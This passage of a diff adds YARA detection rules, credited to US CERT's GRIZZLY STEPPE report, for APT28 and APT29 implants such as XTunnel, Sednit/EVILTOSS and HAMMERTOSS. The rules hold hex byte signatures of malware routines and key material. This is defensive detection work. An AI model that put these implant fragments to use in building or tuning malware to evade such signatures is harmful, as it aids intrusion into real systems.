+      $= ".crt.bin.exe.db.dbf.pdf.djvu.doc.docx.xls.xlsx.jar.ppt.pptx.tib.vhd.iso.lib.mdb.accdb.sql.mdf.xml.rtf.ini.cf g.boot.txt.rar.msi.zip.jpg.bmp.jpeg.tiff" wide
+      $tempfilename = "%ls_%ls_%ls_%d.~tmp" ascii wide
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+      uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and 2 of them
+}
+
+/* Deactivated - Slowing down scanning
+
+rule IMPLANT_4_v12 {
+   meta:
+      description = "BlackEnergy / Voodoo Bear Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "be4d222f-009f-5dde-93da-376626a77263"
+   strings:
+      $CMP1 = {81 ?? 4D 5A 00 00 }
+      $SUB1 = {81 ?? 00 10 00 00}
+      $CMP2 = {66 81 38 4D 5A}
+      $SUB2 = {2D 00 10 00 00}
+      $HAL = "HAL.dll"
+      $OUT = {E6 64 E9 ?? ?? FF FF}
+   condition:
+   (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+   uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and ($CMP1 or $CMP2)
+   and ($SUB1 or $SUB2) and $OUT and $HAL
+}
+*/
+
+rule IMPLANT_4_v13 {
+   meta:
+      description = "BlackEnergy / Voodoo Bear Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "e96a7d9f-1840-542f-9a9b-95e74377f234"
+   strings:
+      $XMLDOM1 = {81 BF 33 29 36 7B D2 11 B2 0E 00 C0 4F 98 3E 60}
+      $XMLDOM2 = {90 BF 33 29 36 7B D2 11 B2 0E 00 C0 4F 98 3E 60}
+      $XMLPARSE = {8B 06 [0-2] 8D 55 ?C 52 FF 75 08 [0-2] 50 FF 91 04 01 00 00
+         66 83 7D ?C FF 75 3? 8B 06 [0-2] 8D 55 F? 52 50 [0-2] FF 51 30 85 C0
+         78 2?}
+      $EXP1 = "DispatchCommand"
+      $EXP2 = "DispatchEvent"
+      $BDATA = {85 C0 74 1? 0F B7 4? 06 83 C? 28 [0-6] 72 ?? 33 C0 5F 5E 5B 5D
+         C2 08 00 8B 4? 0? 8B 4? 0? 89 01 8B 4? 0C 03 [0-2] EB E?}
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+      uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule IMPLANT_5_v1 {
+   meta:
+      description = "XTunnel Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "dee08753-3465-5bf2-acd5-aa6cc80aba3c"
+   strings:
+      $hexstr = {2D 00 53 00 69 00 00 00 2D 00 53 00 70 00 00 00 2D 00 55 00
+         70 00 00 00 2D 00 50 00 69 00 00 00 2D 00 50 00 70 00 00 00}
+      $UDPMSG1 = "error 2005 recv from server UDP - %d\x0a"
+      $TPSMSG1 = "error 2004 send to TPS - %d\x0a"
+      $TPSMSG2 = "error 2003 recv from TPS - %d\x0a"
+      $UDPMSG2 = "error 2002 send to server UDP - %d\x0a"
+   condition:
+      any of them
+}
+
+rule IMPLANT_5_v2 {
+   meta:
+      description = "XTunnel Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "40f60306-41ee-5a18-84e2-cf479a6bc849"
+   strings:
+      $key0 = { 987AB999FE0924A2DF0A412B14E26093746FCDF9BA31DC05536892C33B116AD3 }
+      $key1 = { 8B236C892D902B0C9A6D37AE4F9842C3070FBDC14099C6930158563C6AC00FF5 }
+      $key2 = { E47B7F110CAA1DA617545567EC972AF3A6E7B4E6807B7981D3CFBD3D8FCC3373 }
+      $key3 = { 48B284545CA1FA74F64FDBE2E605D68CED8A726D05EBEFD9BAAC164A7949BDC1 }
+      $key4 = { FB421558E30FCCD95FA7BC45AC92D2991C44072230F6FBEAA211341B5BF2DC56 }
+      $key5 = { 34F1AE17017AF16021ADA5CE3F77675BBC6E7DEC6478D6078A0B22E5FDFF3B31 }
+      $key6 = { F0EA48F164395186E6F754256EBB812A2AFE168E77ED9501F8B8E6F5B72126A7 }
+      $key7 = { 0B6E9970A8EAF68EE14AB45005357A2F3391BEAA7E53AB760B916BC2B3916ABE }
+      $key8 = { FF032EA7ED2436CF6EEA1F741F99A3522A61FDA8B5A81EC03A8983ED1AEDAB1A }
+      $key9 = { F0DAC1DDFEF7AC6DE1CBE1006584538FE650389BF8565B32E0DE1FFACBCB14BB }
+      $key10 = { A5D699A3CD4510AF11F1AF767602055C523DF74B94527D74319D6EFC6883B80D }
+      $key11 = { 5951B02696C1D5A7B2851D28872384DA607B25F4CEA268FF3FD7FBA75AB3B4B3 }
+      $key12 = { 0465D99B26AF42D8346001BB838595E301BAD8CF5D40CE9C17C944717DF82481 }
+      $key13 = { 5DFE1C83AD5F5CE1BF5D9C42E23225E3ECFDB2493E80E6554A2AC7C722EB4880 }
+      $key14 = { E9650396C45F7783BC14C59F46EA8232E8357C26B5627BFF8C42C6AE2E0F2E17 }
+      $key15 = { 7432AE389125BB4E3980ED7F6A6FB252A42E785A90F4591C3620CA642FF97CA3 }
+      $key16 = { 2B2ADBBC4F960A8916F7088067BAD30BE84B65783FBF9476DF5FDA0E5856B183 }
+      $key17 = { 808C3FD0224A59384161B8A81C8BB404D7197D16D8118CB77067C5C8BD764B3E }
+      $key18 = { 028B0E24D5675C16C815BFE4A073E9778C668E65771A1CE881E2B03F58FC7D5B }
+      $key19 = { 878B7F5CF2DC72BAF1319F91A4880931EE979665B1B24D3394FE72EDFAEF4881 }
+      $key20 = { 7AC7DD6CA34F269481C526254D2F563BC6ECA1779FEEAA33EC1C20E60B686785 }
+      $key21 = { 3044F1D394186815DD8E3A2BBD9166837D07FA1CF6A550E2C170C9CDD9305209 }
+      $key22 = { 7544DC095C441E39D258648FE9CB1267D20D83C8B2D3AB734474401DA4932619 }
+      $key23 = { D702223347406C1999D1A9829CBBE96EC86D377A40E2EE84562EA1FAC1C71498 }
+      $key24 = { CA36CB1177382A1009D392A58F7C1357E94AD2292CC0AE82EE4F7DB0179148E1 }
+      $key25 = { C714F23E4C1C4E55F0E1FA7F5D0DD64658A86F84681D07576D840784154F65DC }
+      $key26 = { 63571BAF736904634AFEE2A70CB9ED64615DE8CA7AEF21E773286B8877D065DB }
+      $key27 = { 27808A9BE98FFE348DE1DB999AC9FDFB26E6C5A0D5E688490EF3D186C43661EB }
+      $key28 = { B6EB86A07A85D40866AFA100789FFB9E85C13F5AA7C7A3B6BA753C7EAB9D6A62 }
+      $key29 = { 88F0020375D60BDB85ACDBFE4BD79CD098DB2B3FA2CEF55D4331DBEFCE455157 }
+      $key30 = { 36535AAB296587AE1162AC5D39492DD1245811C72706246A38FF590645AA5D7B }
+      $key31 = { FDB726261CADD52E10818B49CAB81BEF112CB63832DAA26AD9FC711EA6CE99A4 }
+      $key32 = { 86C0CAA26D9FD07D215BC7EB14E2DA250E905D406AFFAB44FB1C62A2EAFC4670 }
+      $key33 = { BC101329B0E3A7D13F6EBC535097785E27D59E92D449D6D06538725034B8C0F0 }
+      $key34 = { C8D31A78B7C149F62F06497F9DC1DDC4967B566AC52C3A2A65AC7A99643B8A2D }
+      $key35 = { 0EA4A5C565EFBB94F5041392C5F0565B6BADC630D9005B3EADD5D81110623E1F }
+      $key36 = { 06E4E46BD3A0FFC8A4125A6A02B0C56D5D8B9E378CF97539CE4D4ADFAF89FEB5 }
+      $key37 = { 6DE22040821F0827316291331256A170E23FA76E381CA7066AF1E5197AE3CFE7 }
+      $key38 = { C6EF27480F2F6F40910074A45715143954BBA78CD74E92413F785BBA5B2AA121 }
+      $key39 = { 19C96A28F8D9698ADADD2E31F2426A46FD11D2D45F64169EDC7158389BFA59B4 }
+      $key40 = { C3C3DDBB9D4645772373A815B5125BB2232D8782919D206E0E79A6A973FF5D36 }
+      $key41 = { C33AF1608037D7A3AA7FB860911312B4409936D236564044CFE6ED42E54B78A8 }
+      $key42 = { 856A0806A1DFA94B5E62ABEF75BEA3B657D9888E30C8D2FFAEC042930BBA3C90 }
+      $key43 = { 244496C524401182A2BC72177A15CDD2EF55601F1D321ECBF2605FFD1B9B8E3F }
+      $key44 = { DF24050364168606D2F81E4D0DEB1FFC417F1B5EB13A2AA49A89A1B5242FF503 }
+      $key45 = { 54FA07B8108DBFE285DD2F92C84E8F09CDAA687FE492237F1BC4343FF4294248 }
+      $key46 = { 23490033D6BF165B9C45EE65947D6E6127D6E00C68038B83C8BFC2BCE905040C }
+      $key47 = { 4E044025C45680609B6EC52FEB3491130A711F7375AAF63D69B9F952BEFD5F0C }
+      $key48 = { 019F31C5F5B2269020EBC00C1F511F2AC23E9D37E89374514C6DA40A6A03176C }
+      $key49 = { A2483197FA57271B43E7276238468CFB8429326CBDA7BD091461147F642BEB06 }
+      $key50 = { 731C9D6E74C589B7ACB019E5F6A6E07ACF12E68CB9A396CE05AA4D69D5387048 }
+      $key51 = { 540DB6C8D23F7F7FEF9964E53F445F0E56459B10E931DEEEDB2B57B063C7F8B7 }
+      $key52 = { D5AF80A7EEFF26DE988AC3D7CE23E62568813551B2133F8D3E973DA15E355833 }
+      $key53 = { E4D8DBD3D801B1708C74485A972E7F00AFB45161C791EE05282BA68660FFBA45 }
+      $key54 = { D79518AF96C920223D687DD596FCD545B126A678B7947EDFBF24661F232064FB }
+      $key55 = { B57CAA4B45CA6E8332EB58C8E72D0D9853B3110B478FEA06B35026D7708AD225 }
+      $key56 = { 077C714C47DFCF79CA2742B1544F4AA8035BB34AEA9D519DEE77745E01468408 }
+      $key57 = { C3F5550AD424839E4CC54FA015994818F4FB62DE99B37C872AF0E52C376934FA }
+      $key58 = { 5E890432AE87D0FA4D209A62B9E37AAEDEDC8C779008FEBAF9E4E6304D1B2AAC }
+      $key59 = { A42EDE52B5AF4C02CFE76488CADE36A8BBC3204BCB1E05C402ECF450071EFCAB }
+      $key60 = { 4CDAFE02894A04583169E1FB4717A402DAC44DA6E2536AE53F5F35467D31F1CA }
+      $key61 = { 0BEFCC953AD0ED6B39CE6781E60B83C0CFD166B124D1966330CBA9ADFC9A7708 }
+      $key62 = { 8A439DC4148A2F4D5996CE3FA152FF702366224737B8AA6784531480ED8C8877 }
+      $key63 = { CF253BE3B06B310901FF48A351471374AD35BBE4EE654B72B860F2A6EC7B1DBB }
+      $key64 = { A0599F50C4D059C5CFA16821E97C9596B1517B9FB6C6116F260415127F32CE1F }
+      $key65 = { 8B6D704F3DC9150C6B7D2D54F9C3EAAB14654ACA2C5C3952604E65DF8133FE0C }
+      $key66 = { A06E5CDD3871E9A3EE17F7E8DAE193EE47DDB87339F2C599402A78C15D77CEFD }
+      $key67 = { E52ADA1D9BC4C089DBB771B59904A3E0E25B531B4D18B58E432D4FA0A41D9E8A }
+      $key68 = { 4778A7E23C686C171FDDCCB8E26F98C4CBEBDF180494A647C2F6E7661385F05B }
+      $key69 = { FE983D3A00A9521F871ED8698E702D595C0C7160A118A7630E8EC92114BA7C12 }
+      $key70 = { 52BA4C52639E71EABD49534BBA80A4168D15762E2D1D913BAB5A5DBF14D9D166 }
+      $key71 = { 931EB8F7BC2AE1797335C42DB56843427EB970ABD601E7825C4441701D13D7B1 }
+      $key72 = { 318FA8EDB989672DBE2B5A74949EB6125727BD2E28A4B084E8F1F50604CCB735 }
+      $key73 = { 5B5F2315E88A42A7B59C1B493AD15B92F819C021BD70A5A6619AAC6666639BC2 }
+      $key74 = { C2BED7AA481951FEB56C47F03EA38236BC425779B2FD1F1397CB79FE2E15C0F0 }
+      $key75 = { D3979B1CB0EC1A655961559704D7CDC019253ACB2259DFB92558B7536D774441 }
+      $key76 = { 0EDF5DBECB772424D879BBDD51899D6AAED736D0311589566D41A9DBB8ED1CC7 }
+      $key77 = { CC798598F0A9BCC82378A5740143DEAF1A147F4B2908A197494B7202388EC905 }
+      $key78 = { 074E9DF7F859BF1BD1658FD2A86D81C282000EAB09AF4252FAB45433421D3849 }
+      $key79 = { 6CD540642E007F00650ED20D7B54CFFD54DDA95D8DEBB087A004BAE222F22C8E }
+      $key80 = { C76CF2F66C71F6D17FC8DEFA1CAEF8718BA1CE188C7EA02C835A0FA54D3B3314 }
+      $key81 = { A7250A149600E515C9C40FE5720756FDA8251635A3B661261070CB5DABFE7253 }
+      $key82 = { 237C67B97D4CCE4610DE2B82E582808EA796C34A4C24715C953CBA403B2C935E }
+      $key83 = { A8FA182547E66B57C497DAAA195A38C0F0FB0A3C1F7B98B4B852F5F37E885127 }
+      $key84 = { 83694CCA50B821144FFBBE6855F62845F1328111AE1AC5666CBA59EB43AA12C6 }
+      $key85 = { 145E906416B17865AD37CD022DF5481F28C930D6E3F53C50B0953BF33F4DB953 }
+      $key86 = { AB49B7C2FA3027A767F5AA94EAF2B312BBE3E89FD924EF89B92A7CF977354C22 }
+      $key87 = { 7E04E478340C209B01CA2FEBBCE3FE77C6E6169F0B0528C42FA4BDA6D90AC957 }
+      $key88 = { 0EADD042B9F0DDBABA0CA676EFA4EDB68A045595097E5A392217DFFC21A8532F }
+      $key89 = { 5623710F134ECACD5B70434A1431009E3556343ED48E77F6A557F2C7FF46F655 }
+      $key90 = { 6968657DB62F4A119F8E5CB3BF5C51F4B285328613AA7DB9016F8000B576561F }
+      $key91 = { DEBB9C95EAE6A68974023C335F8D2711135A98260415DF05845F053AD65B59B4 }
+      $key92 = { 16F54900DBF08950F2C5835153AB636605FB8C09106C0E94CB13CEA16F275685 }
+      $key93 = { 1C9F86F88F0F4882D5CBD32876368E7B311A84418692D652A6A4F315CC499AE8 }
+      $key94 = { E920E0783028FA05F4CE2D6A04BBE636D56A775CFD4DAEA3F2A1B8BEEB52A6D4 }
+      $key95 = { 73874CA3AF47A8A315D50E1990F44F655EC7C15B146FFE0611B6C4FC096BD07C }
+      $key96 = { F21C1FA163C745789C53922C47E191A5A85301BDC2FFC3D3B688CFBFF39F3BE5 }
+      $key97 = { BC5A861F21CB98BD1E2AE9650B7A0BB4CD0C71900B3463C1BC3380AFD2BB948E }
+      $key98 = { 151BAE36E646F30570DC6A7B57752F2481A0B48DD5184E914BCF411D8AD5ACA0 }
+      $key99 = { F05AD6D7A0CADC10A6468BFDBCBB223D5BD6CA30EE19C239E8035772D80312C9 }
+      $key100 = { 5DE9A0FDB37C0D59C298577E5379BCAF4F86DF3E9FA17787A4CEFA7DD10C462E }
+      $key101 = { F5E62BA862380224D159A324D25FD321E5B35F8554D70CF9A506767713BCA508 }
+      $key102 = { A2D1B10409B328DA0CCBFFDE2AD2FF10855F95DA36A1D3DBA84952BB05F8C3A7 }
+      $key103 = { C974ABD227D3AD339FAC11C97E11D904706EDEA610B181B8FAD473FFCC36A695 }
+      $key104 = { AB5167D2241406C3C0178D3F28664398D5213EE5D2C09DCC9410CB604671F5F1 }
+      $key105 = { C25CC4E671CAAA31E137700A9DB3A272D4E157A6A1F47235043D954BAE8A3C70 }
+      $key106 = { E6005757CA0189AC38F9B6D5AD584881399F28DA949A0F98D8A4E3862E20F715 }
+      $key107 = { 204E6CEB4FF59787EF4D5C9CA5A41DDF4445B9D8E0C970B86D543E9C7435B194 }
+      $key108 = { 831D7FD21316590263B69E095ABBE89E01A176E16AE799D83BD774AF0D254390 }
+      $key109 = { 42C36355D9BC573D72F546CDB12E6BB2CFE2933AC92C12040386B310ABF6A1ED }
+      $key110 = { B9044393C09AD03390160041446BF3134D864D16B25F1AB5E5CDC690C4677E7D }
+      $key111 = { 6BC1102B5BE05EEBF65E2C3ACA1F4E17A59B2E57FB480DE016D371DA3AEF57A5 }
+      $key112 = { B068D00B482FF73F8D23795743C76FE8639D405EE54D3EFB20AFD55A9E2DFF4E }
+      $key113 = { 95CF5ADDFE511C8C7496E3B75D52A0C0EFE01ED52D5DD04D0CA6A7ABD3A6F968 }
+      $key114 = { 75534574A4620019F8E3D055367016255034FA7D91CBCA9E717149441742AC8D }
+      $key115 = { 96F1013A5301534BE424A11A94B740E5EB3A627D052D1B769E64BAB6A666433C }
+      $key116 = { 584477AB45CAF729EE9844834F84683ABECAB7C4F7D23A9636F54CDD5B8F19B3 }
+      $key117 = { D3905F185B564149EE85CC3D093477C8FF2F8CF601C68C38BBD81517672ECA3A }
+      $key118 = { BF29521A7F94636D1930AA236422EB6351775A523DE68AF9BF9F1026CEDA618D }
+      $key119 = { 04B3A783470AF1613A9B849FBD6F020EE65C612343EB1C028B2C28590789E60B }
+      $key120 = { 3D8D8E84977FE5D21B6971D8D873E7BED048E21333FE15BE2B3D1732C7FD3D04 }
+      $key121 = { 8ACB88224B6EF466D7653EB0D8256EA86D50BBA14FD05F7A0E77ACD574E9D9FF }
+      $key122 = { B46121FFCF1565A77AA45752C9C5FB3716B6D8658737DF95AE8B6A2374432228 }
+      $key123 = { A4432874588D1BD2317224FB371F324DD60AB25D4191F2F01C5C13909F35B943 }
+      $key124 = { 78E1B7D06ED2A2A044C69B7CE6CDC9BCD77C19180D0B082A671BBA06507349C8 }
+      $key125 = { 540198C3D33A631801FE94E7CB5DA3A2D9BCBAE7C7C3112EDECB342F3F7DF793 }
+      $key126 = { 7E905652CAB96ACBB7FEB2825B55243511DF1CD8A22D0680F83AAF37B8A7CB36 }
+      $key127 = { 37218801DBF2CD92F07F154CD53981E6189DBFBACAC53BC200EAFAB891C5EEC8 }
+   condition:
+      any of them
+}
+
+rule IMPLANT_5_v3 {
+   meta:
+      description = "XTunnel Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "0763e314-85d0-5c16-b766-36298176e0ff"
+   strings:
+      $BYTES1 = { 0F AF C0 6? C0 07 00 00 00 2D 01 00 00 00 0F AF ?? 39 ?8 }
+      $BYTES2 = { 0F AF C0 6? C0 07 48 0F AF ?? 39 ?8 }
+   condition:
+      any of them
+}
+
+rule IMPLANT_5_v4 {
+   meta:
+      description = "XTunnel Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "db6df7ea-f119-5e9a-bcea-c65580418042"
+   strings:
+      $FBKEY1 = { 987AB999FE0924A2DF0A412B14E26093746FCDF9BA31DC05536892C33B116AD3 }
+      $FBKEY2 = { 8B236C892D902B0C9A6D37AE4F9842C3070FBDC14099C6930158563C6AC00FF5 }
+      $FBKEY3 = { E47B7F110CAA1DA617545567EC972AF3A6E7B4E6807B7981D3CFBD3D8FCC3373 }
+      $FBKEY4 = { 48B284545CA1FA74F64FDBE2E605D68CED8A726D05EBEFD9BAAC164A7949BDC1 }
+      $FBKEY5 = { FB421558E30FCCD95FA7BC45AC92D2991C44072230F6FBEAA211341B5BF2DC56 }
+   condition:
+      all of them
+}
+
+rule IMPLANT_6_v1
+{
+   meta:
+      description = "Sednit / EVILTOSS Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "0554ec8e-f45d-5afc-8874-dc8adfac5cdf"
+   strings:
+      $STR1 = "dll.dll" wide ascii
+      $STR2 = "Init1" wide ascii
+      $STR3 = "netui.dll" wide ascii
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+      uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule IMPLANT_6_v2 {
+   meta:
+      description = "Sednit / EVILTOSS Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "59bfbef2-ff0e-59df-9d08-15001cec8ecf"
+   strings:
+      $obf_func = { 8B 45 F8 6A 07 03 C7 33 D2 89 45 E8 8D 47 01 5B 02 4D 0F F7 F3 6A 07 8A 04 32 33 D2 F6 E9 8A C8 8B C7 F7 F3 8A 44 3E FE 02 45 FC 02 0C 32 B2 03 F6 EA 8A D8 8D 47 FF 33 D2 5F F7 F7 02 5D 14 8B 45 E8 8B 7D F4 C0 E3 06 02 1C 32 32 CB 30 08 8B 4D 14 41 47 83 FF 09 89 4D 14 89 7D F4 72 A1 }
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+      uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule IMPLANT_6_v3 {
+   meta:
+      description = "Sednit / EVILTOSS Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "db090bc5-a90f-5b66-8fcb-29b423dddbf7"
+   strings:
+      $deob_func = { 8D 46 01 02 D1 83 E0 07 8A 04 38 F6 EA 8B D6 83 E2 07 0A
+         04 3A 33 D2 8A 54 37 FE 03 D3 03 D1 D3 EA 32 C2 8D 56 FF 83 E2 07 8A
+         1C 3A 8A 14 2E 32 C3 32 D0 41 88 14 2E 46 83 FE 0A 7C ?? }
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+      uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule IMPLANT_6_v4 {
+   meta:
+      description = "Sednit / EVILTOSS Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "27118ec8-3713-5670-88d2-3ac57c155c0d"
+   strings:
+      $ASM = {53 5? 5? [6-15] ff d? 8b ?? b? a0 86 01 00 [7-13] ff d? ?b
+         [6-10] c0 [0-1] c3}
+   condition:
+   (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+   uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule IMPLANT_6_v5 {
+   meta:
+      description = "Sednit / EVILTOSS Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "d035eaff-8c2a-53a2-b629-6448b2bcc9f6"
+   strings:
+      $STR1 = { 83 EC 18 8B 4C 24 24 B8 AB AA AA AA F7 E1 8B 44 24 20 53 55 8B
+         EA 8D 14 08 B8 AB AA AA AA 89 54 24 1C F7 E2 56 8B F2 C1 ED 02 8B DD
+         57 8B 7C 24 38 89 6C 24 1C C1 EE 02 3B DE 89 5C 24 18 89 74 24 20 0F
+         83 CF 00 00 00 8D 14 5B 8D 44 12 FE 89 44 24 10 3B DD 0F 85 CF 00 00
+         00 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B CA 83 F9 06 89 4C 24 38 0F 83
+         86 00 00 00 8A C3 B2 06 F6 EA 8B 54 24 10 88 44 24 30 8B 44 24 2C 8D
+         71 02 03 D0 89 54 24 14 8B 54 24 10 33 C0 8A 44 37 FE 03 D6 8B D8 8D
+         46 FF 0F AF DA 33 D2 BD 06 00 00 00 F7 F5 C1 EB 07 8A 04 3A 33 D2 32
+         D8 8D 46 01 F7 F5 8A 44 24 30 02 C1 8A 0C 3A 33 D2 32 C8 8B C6 F7 F5
+         8A 04 3A 22 C8 8B 44 24 14 02 D9 8A 0C 30 32 CB 88 0C 30 8B 4C 24 38
+         41 46 83 FE 08 89 4C 24 38 72 A1 8B 5C 24 18 8B 6C 24 1C 8B 74 24 20
+         8B 4C 24 10 43 83 C1 06 3B DE 89 4C 24 10 8B 4C 24 34 89 5C 24 18 0F
+         82 3C FF FF FF 3B DD 75 1A 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B CA EB
+         0D 33 C9 89 4C 24 38 E9 40 FF FF FF 33 C9 8B 44 24 24 33 D2 BE 06 00
+         00 00 89 4C 24 38 F7 F6 3B CA 89 54 24 24 0F 83 95 00 00 00 8A C3 B2
+         06 F6 EA 8D 1C 5B 88 44 24 30 8B 44 24 2C 8D 71 02 D1 E3 89 5C 24 34
+         8D 54 03 FE 89 54 24 14 EB 04 8B 5C 24 34 33 C0 BD 06 00 00 00 8A 44
+         3E FE 8B D0 8D 44 1E FE 0F AF D0 C1 EA 07 89 54 24 2C 8D 46 FF 33 D2
+         BB 06 00 00 00 F7 F3 8B 5C 24 2C 8A 04 3A 33 D2 32 D8 8D 46 01 F7 F5
+         8A 44 24 30 02 C1 8A 0C 3A 33 D2 32 C8 8B C6 F7 F5 8A 04 3A 22 C8 8B
+         44 24 14 02 D9 8A 0C 06 32 CB 88 0C 06 8B 4C 24 38 8B 44 24 24 41 46
+         3B C8 89 4C 24 38 72 8F 5F 5E 5D 5B 83 C4 18 C2 10 00 }
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+      uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule IMPLANT_6_v6 {
+   meta:
+      description = "Sednit / EVILTOSS Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "89cc3764-d60c-5cbd-af32-a90d8b3400d7"
+   strings:
+      $Init1_fun = {68 10 27 00 00 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 6A FF 50
+         FF 15 ?? ?? ?? ?? 33 C0 C3}
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+      uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+/* TOO MANY FALSE POSITIVES
+
+rule IMPLANT_6_v7 {
+   meta:
+      description = "Sednit / EVILTOSS Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+   strings:
+      $STR1 = "Init1"
+      $OPT1 = "ServiceMain"
+      $OPT2 = "netids" nocase wide ascii
+      $OPT3 = "netui" nocase wide ascii
+      $OPT4 = "svchost.exe" wide ascii
+      $OPT5 = "network" nocase wide ascii
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+      uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and $STR1 and 2 of ($OPT*)
+}
+
+*/
+
+rule IMPLANT_7_v1 {
+   meta:
+      description = "Implant 7 by APT29"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "ce83c157-af03-55cb-a2be-0b6543fedb5b"
+   strings:
+      $STR1 = { 8A 44 0A 03 32 C3 0F B6 C0 66 89 04 4E 41 3B CF 72 EE }
+      $STR2 = { F3 0F 6F 04 08 66 0F EF C1 F3 0F 7F 04 11 83 C1 10 3B CF 72 EB }
+   condition:
+      (uint16(0) == 0x5A4D) and ($STR1 or $STR2)
+}
+
+rule IMPLANT_8_v1
+{
+   meta:
+      description = "HAMMERTOSS / HammerDuke Implant by APT29"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 65
+      id = "eeaa43c1-6004-5d64-bdc1-f84b3c68d741"
+   strings:
+      $DOTNET = "mscorlib" ascii
+      $REF_URL = "https://www.google.com/url?sa=" wide
+      $REF_var_1 = "&rct=" wide
+      $REF_var_2 = "&q=&esrc=" wide
+      $REF_var_3 = "&source=" wide
+      $REF_var_4 = "&cd=" wide
+      $REF_var_5 = "&ved=" wide
+      $REF_var_6 = "&url=" wide
+      $REF_var_7 = "&ei=" wide
+      $REF_var_8 = "&usg=" wide
+      $REF_var_9 = "&bvm=" wide
+      /*
+      $REF_value_1 = "QFj" wide
+      $REF_value_2 = "bv.81" wide
+      */ /* disabled due to performance reasons */
+   condition:
+      (uint16(0) == 0x5A4D) and ($DOTNET) and ($REF_URL) and
+      (3 of ($REF_var*)) /* and (1 of ($REF_value*)) */
+}
+
+/* TOO MANY FALSE POSITIVES
+
+rule IMPLANT_8_v2 {
+   meta:
+      description = "HAMMERTOSS / HammerDuke Implant by APT29"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+   strings:
+      $DOTNET= "mscorlib" ascii
+      $XOR = {61 20 AA 00 00 00 61}
+   condition:
+      (uint16(0) == 0x5A4D) and all of them
+}
+
+*/
+
+rule IMPLANT_9_v1 {
